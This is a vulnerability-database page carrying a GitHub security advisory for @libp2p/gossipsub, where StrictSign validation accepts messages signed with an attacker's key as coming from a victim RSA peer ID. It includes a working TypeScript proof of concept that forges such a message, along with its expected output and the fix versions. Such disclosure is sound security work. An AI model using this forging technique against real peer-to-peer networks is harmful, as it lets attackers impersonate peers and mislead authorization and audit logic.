GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-C3GV-825Q-FVMP

Vulnerability from github – Published: 2026-09-17 17:29 – Updated: 2026-09-17 17:29
VLAI
Summary
libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID
Details

Summary

@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.

Details

The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.

When msg.key is present:

publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
  return { valid: false, error: ValidateError.InvalidPeerId }
}

For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.

The missing invariant is:

peerIdFromPublicKey(publicKey).equals(fromPeerId)

This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.

StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:

this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign

Version tracing:

  • git blame points the vulnerable validateToRawMessage block to 9a9b11fd44 (fix!: remove pubsub (#3291)), which introduced packages/gossipsub/src/utils/buildRawMessage.ts.
  • That commit's packages/gossipsub/package.json still reports 14.1.1, but the first gossipsub-v* release tag in this checkout that contains the vulnerable block is gossipsub-v15.0.0.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

const label = 'gossipsub StrictSign RSA author spoof'

function seqno (n: bigint): Uint8Array {
  const out = new Uint8Array(8)
  new DataView(out.buffer).setBigUint64(0, n, false)
  return out
}

async function main (): Promise<void> {
  const attackerKey = await generateKeyPair('Ed25519')
  const victimRsaKey = await generateKeyPair('RSA', 512)
  const victim = peerIdFromPrivateKey(victimRsaKey)

  const msg: RPC.Message = {
    from: victim.toMultihash().bytes,
    data: uint8ArrayFromString('forged as victim RSA peer'),
    seqno: seqno(1n),
    topic: 'poc-topic',
    signature: undefined,
    key: undefined
  }

  // Sign the protobuf message that claims victim in `from`, using attacker's key.
  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
  msg.signature = await attackerKey.sign(bytes)
  msg.key = publicKeyToProtobuf(attackerKey.publicKey)

  const result = await validateToRawMessage(StrictSign, msg)

  if (!result.valid) {
    throw new Error(`expected forged message to validate, got ${result.error}`)
  }

  assert.equal(result.message.type, 'signed')
  assert.equal(result.message.from.equals(victim), true)
  assert.equal(result.message.key.equals(attackerKey.publicKey), true)

  console.log(`${label} reproduced`)
  console.log(`claimed victim RSA author: ${victim}`)
  console.log('signature verified with attacker-supplied key')
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key

Impact

Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.

The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/gossipsub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0"
            },
            {
              "fixed": "16.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:29:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker\u0027s own private key, include the attacker\u0027s public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined \u0026\u0026 !publicKey.equals(fromPeerId.publicKey)) {\n  return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit\u0027s `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair, publicKeyToProtobuf } from \u0027@libp2p/crypto/keys\u0027\nimport { StrictSign } from \u0027@libp2p/gossipsub\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { concat as uint8ArrayConcat } from \u0027uint8arrays/concat\u0027\nimport { fromString as uint8ArrayFromString } from \u0027uint8arrays/from-string\u0027\nimport { RPC } from \u0027../../packages/gossipsub/dist/src/message/rpc.js\u0027\nimport { SignPrefix, validateToRawMessage } from \u0027../../packages/gossipsub/dist/src/utils/buildRawMessage.js\u0027\n\nconst label = \u0027gossipsub StrictSign RSA author spoof\u0027\n\nfunction seqno (n: bigint): Uint8Array {\n  const out = new Uint8Array(8)\n  new DataView(out.buffer).setBigUint64(0, n, false)\n  return out\n}\n\nasync function main (): Promise\u003cvoid\u003e {\n  const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const victimRsaKey = await generateKeyPair(\u0027RSA\u0027, 512)\n  const victim = peerIdFromPrivateKey(victimRsaKey)\n\n  const msg: RPC.Message = {\n    from: victim.toMultihash().bytes,\n    data: uint8ArrayFromString(\u0027forged as victim RSA peer\u0027),\n    seqno: seqno(1n),\n    topic: \u0027poc-topic\u0027,\n    signature: undefined,\n    key: undefined\n  }\n\n  // Sign the protobuf message that claims victim in `from`, using attacker\u0027s key.\n  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n  msg.signature = await attackerKey.sign(bytes)\n  msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n  const result = await validateToRawMessage(StrictSign, msg)\n\n  if (!result.valid) {\n    throw new Error(`expected forged message to validate, got ${result.error}`)\n  }\n\n  assert.equal(result.message.type, \u0027signed\u0027)\n  assert.equal(result.message.from.equals(victim), true)\n  assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n  console.log(`${label} reproduced`)\n  console.log(`claimed victim RSA author: ${victim}`)\n  console.log(\u0027signature verified with attacker-supplied key\u0027)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub\u0027s validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.",
  "id": "GHSA-c3gv-825q-fvmp",
  "modified": "2026-09-17T17:29:31Z",
  "published": "2026-09-17T17:29:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…